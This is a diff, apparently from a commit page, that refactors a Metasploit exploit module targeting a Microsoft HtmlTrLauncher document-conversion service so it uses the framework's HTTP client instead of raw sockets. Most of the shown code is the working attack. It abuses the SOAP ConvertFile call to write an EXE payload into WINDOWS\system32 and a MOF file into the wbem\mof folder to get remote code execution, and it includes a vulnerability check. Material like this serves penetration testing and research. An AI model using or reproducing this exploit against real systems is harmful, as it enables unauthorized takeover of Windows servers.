10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
11
Rank = ExcellentRanking
12
12
13
- include Msf ::Exploit ::Remote ::Tcp
13
+ include Msf ::Exploit ::Remote ::HttpClient
14
14
include Msf ::Exploit ::EXE
15
15
include Msf ::Exploit ::WbemExec
16
16
@@ -89,24 +89,17 @@ def upload_file(file_name, contents)
89
89
soap_convert_file << "</SOAP-ENV:Body>" << "\x0d \x0a "
90
90
soap_convert_file << "</SOAP-ENV:Envelope>" << "\x0d \x0a "
91
91
92
- http_request = "POST /HtmlTrLauncher HTTP/1.1" << "\x0d \x0a "
93
- http_request << "User-Agent: Mozilla/4.0+(compatible; MSIE 6.0; Windows 5.2.3790.131072; MS .NET Remoting; MS .NET CLR 2.0.50727.42 )" << "\x0d \x0a "
94
- http_request << "Content-Type: text/xml; charset=\" utf-8\" " << "\x0d \x0a "
95
- http_request << "SOAPAction: \" http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile\" " << "\x0d \x0a "
96
- http_request << "Host: #{ rhost } :#{ rport } " << "\x0d \x0a "
97
- http_request << "Content-Length: #{ soap_convert_file . length } " << "\x0d \x0a "
98
- http_request << "Connection: Keep-Alive" << "\x0d \x0a \x0d \x0a "
99
-
100
- connect
101
- sock . put ( http_request << soap_convert_file )
102
- data = ""
103
- read_data = sock . get_once ( -1 , 1 )
104
- while not read_data . nil?
105
- data << read_data
106
- read_data = sock . get_once ( -1 , 1 )
107
- end
108
- disconnect
109
- return data
92
+ res = send_request_cgi ( {
93
+ 'uri' => '/HtmlTrLauncher' ,
94
+ 'method' => 'POST' ,
95
+ 'ctype' => 'text/xml; charset="utf-8"' ,
96
+ 'headers' =>
97
+ {
98
+ 'SOAPAction' => '"http://schemas.microsoft.com/clr/nsassem/Microsoft.HtmlTrans.IDocumentConversionsLauncher/Microsoft.HtmlTrans.Interface#ConvertFile"' ,
99
+ } ,
100
+ 'data' => soap_convert_file
101
+ } )
102
+ return res
110
103
end
111
104
112
105
# The check tries to create a test file in the root
@@ -119,7 +112,7 @@ def check
119
112
print_status ( "#{ peer } - Sending HTTP ConvertFile Request to upload the test file #{ filename } " )
120
113
res = upload_file ( filename , contents )
121
114
122
- if res and res =~ / 200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/ m_ce>/
115
+ if res and res . code == 200 and res . body =~ /ConvertFileResponse/ and res . body =~ /<m_ce>CE_OTHER<\/ m_ce>/
123
116
return Exploit ::CheckCode ::Vulnerable
124
117
else
125
118
return Exploit ::CheckCode ::Safe
@@ -138,7 +131,7 @@ def exploit
138
131
139
132
print_status ( "#{ peer } - Sending HTTP ConvertFile Request to upload the exe payload #{ exe_name } " )
140
133
res = upload_file ( "WINDOWS\\ system32\\ #{ exe_name } " , exe )
141
- if res and res =~ / 200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/ m_ce>/
134
+ if res and res . code == 200 and res . body =~ /ConvertFileResponse/ and res . body =~ /<m_ce>CE_OTHER<\/ m_ce>/
142
135
print_good ( "#{ peer } - #{ exe_name } uploaded successfully" )
143
136
else
144
137
print_error ( "#{ peer } - Failed to upload #{ exe_name } " )
@@ -147,7 +140,7 @@ def exploit
147
140
148
141
print_status ( "#{ peer } - Sending HTTP ConvertFile Request to upload the mof file #{ mof_name } " )
149
142
res = upload_file ( "WINDOWS\\ system32\\ wbem\\ mof\\ #{ mof_name } " , mof )
150
- if res and res =~ / 200 OK/ and res =~ /ConvertFileResponse/ and res =~ /<m_ce>CE_OTHER<\/ m_ce>/
143
+ if res and res . code == 200 and res . body =~ /ConvertFileResponse/ and res . body =~ /<m_ce>CE_OTHER<\/ m_ce>/
151
144
print_good ( "#{ peer } - #{ mof_name } uploaded successfully" )
152
145
else
153
146
print_error ( "#{ peer } - Failed to upload #{ mof_name } " )
0 commit comments